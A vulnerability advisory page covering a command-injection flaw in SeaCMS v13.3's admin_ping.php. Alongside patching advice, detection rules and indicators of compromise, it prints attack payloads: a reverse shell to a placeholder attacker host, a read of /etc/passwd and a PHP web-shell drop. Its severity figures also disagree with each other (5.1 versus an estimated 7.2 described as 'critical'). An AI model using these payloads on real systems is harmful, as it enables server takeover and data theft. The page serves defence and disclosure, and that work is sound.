☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-25794

CVE-2025-25794 Remote Code Execution in Seacms
📅 PUBLISHED: 2025-02-26 00:00 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.42%
👁️
0.42% probability
10.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-25794 is a critical Remote Code Execution (RCE) vulnerability discovered in SeaCMS v13.3, specifically within the admin_ping.php component. This flaw allows an authenticated attacker to execute arbitrary system commands on the underlying server, leading to full compromise of the web application and potentially the host operating system. The vulnerability arises from improper sanitization of user-supplied input passed to system-level ping commands. Given the lack of an official patch and the public availability of exploit details, this vulnerability poses a significant risk to all instances of SeaCMS v13.3.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a standalone PHP application vulnerability.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially provided, based on the nature of the vulnerability (authenticated RCE via command injection), a reasonable assessment is:

  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L)
  • Privileges Required (PR): High (H) – requires admin login
  • User Interaction (UI): None (N)
  • Scope (S): Unchanged (U)
  • Confidentiality (C): High (H)
  • Integrity (I): High (H)
  • Availability (A): High (H)

Estimated CVSS Score: 7.2 (High)

Threat Level: High. Exploitation is straightforward for any authenticated administrator, and the impact is complete system compromise.

Deep Dive & Mechanics

The vulnerability resides in the admin_ping.php file of SeaCMS v13.3. This file is part of the administrative backend and is used to perform network diagnostics (ping) from the server. The core issue is that the application takes user input (likely an IP address or hostname) and passes it directly to a system shell command (e.g., ping -c 4 <user_input>) without proper sanitization or escaping.

An attacker can inject arbitrary shell commands by appending command separators (like ;, |, &&, or backticks) to the intended input. For example, an input of 127.0.0.1; whoami would execute the whoami command after the ping completes.

The vulnerable code path likely resembles:

$target = $_POST['ip'];
$output = shell_exec("ping -c 4 " . $target);

This lack of input validation allows for full command injection.

Vulnerable vs. Patched Code

Vulnerable Code (SeaCMS v13.3):

<?php
$ip = $_POST['ip'];
$result = shell_exec("ping -c 4 " . $ip);
echo "<pre>$result</pre>";
?>

Patched Code (Hypothetical):

<?php
$ip = $_POST['ip'];
// Validate IP address format
if (filter_var($ip, FILTER_VALIDATE_IP)) {
    // Escape shell arguments
    $escaped_ip = escapeshellarg($ip);
    $result = shell_exec("ping -c 4 " . $escaped_ip);
    echo "<pre>" . htmlspecialchars($result) . "</pre>";
} else {
    echo "Invalid IP address.";
}
?>

The patched version uses filter_var to ensure only valid IP addresses are accepted and escapeshellarg to prevent command injection. Additionally, output is HTML-escaped to prevent XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Access to SeaCMS v13.3 admin panel (valid credentials required).
  • Network connectivity to the target server.

Exploitation Steps:

  1. Login: Authenticate to the SeaCMS admin panel (e.g., http://target.com/admin).
  2. Locate Ping Function: Navigate to the network diagnostic tool (likely under "System" or "Tools" menu) that uses admin_ping.php.
  3. Inject Command: In the IP address field, enter a payload such as:
    127.0.0.1; whoami
    
    or
    127.0.0.1 | id
    
  4. Execute: Submit the form. The output of the injected command will be displayed on the page.

Example Payloads:

  • Reverse Shell (Linux): 127.0.0.1; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
  • File Read: 127.0.0.1; cat /etc/passwd
  • Web Shell Upload: 127.0.0.1; echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php

Lab Setup:

  • Install SeaCMS v13.3 on a local VM (e.g., Ubuntu 20.04 with Apache, MySQL, PHP).
  • Ensure the admin panel is accessible.
  • Use Burp Suite or a simple HTTP client to craft and send POST requests to admin_ping.php.

Blue Team

Detection & Response:

  1. Monitor Admin Logs: Review SeaCMS access logs for unusual POST requests to admin_ping.php containing shell metacharacters (;, |, &, `).
  2. Network Monitoring: Look for outbound connections from the SeaCMS server to unusual IPs/ports (potential reverse shells).
  3. File Integrity: Monitor for new or modified PHP files in the web root (e.g., shell.php).
  4. Process Auditing: Check for unexpected processes spawned by the web server user (e.g., bash, nc, python).

Hunting Query (Splunk):

index=web sourcetype=access_combined uri="/admin/admin_ping.php" form_data=*\;*
| table _time, clientip, uri, form_data

Indicators of Compromise (IOCs)

  • File: /admin/admin_ping.php (vulnerable file)
  • Network: POST requests to /admin/admin_ping.php with payloads containing ;, |, &&, or backticks.
  • Process: Unexpected shell processes (e.g., /bin/bash, /bin/sh) spawned by the web server user (e.g., www-data).
  • File: Suspicious PHP files in the web root (e.g., shell.php, cmd.php).
  • Log Entry: SeaCMS admin log entries showing admin_ping.php accessed with unusual parameters.

Detection Engineering

YARA Rule

rule SeaCMS_RCE_AdminPing {
    meta:
        description = "Detects SeaCMS v13.3 admin_ping.php RCE exploit attempts"
        author = "Valters IT"
        date = "2025-03-01"
        reference = "CVE-2025-25794"
    strings:
        $s1 = "admin_ping.php" nocase
        $s2 = "ping -c" nocase
        $s3 = "shell_exec" nocase
        $re1 = /[;&|`$]/  // Shell metacharacters
    condition:
        $s1 and $s2 and $s3 and #re1 > 0
}

Sigma Rule

title: SeaCMS admin_ping.php RCE Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-25794 in SeaCMS v13.3
author: Valters IT
date: 2025/03/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/admin/admin_ping.php'
    keywords:
        - ';'
        - '|'
        - '&&'
        - '`'
    condition: selection and keywords
falsepositives:
    - Legitimate use of semicolons in IP fields (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"SeaCMS admin_ping.php RCE Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/admin_ping.php"; http_uri; pcre:"/(;|\||&&|`)/Pi"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Disable or remove the admin_ping.php file from the SeaCMS installation if not required.
  2. Input Validation: Implement strict input validation to only allow valid IP addresses (IPv4/IPv6) and hostnames.
  3. Command Escaping: Use escapeshellarg() or escapeshellcmd() before passing user input to shell functions.
  4. Least Privilege: Run the web server with minimal privileges to limit the impact of RCE.
  5. Web Application Firewall (WAF): Deploy a WAF rule to block requests to admin_ping.php containing shell metacharacters.
  6. Patch: Monitor the SeaCMS official website for a security patch. If none is released, consider migrating to an alternative CMS.
  7. Audit: Review all admin-facing scripts for similar command injection vulnerabilities.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-25794/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.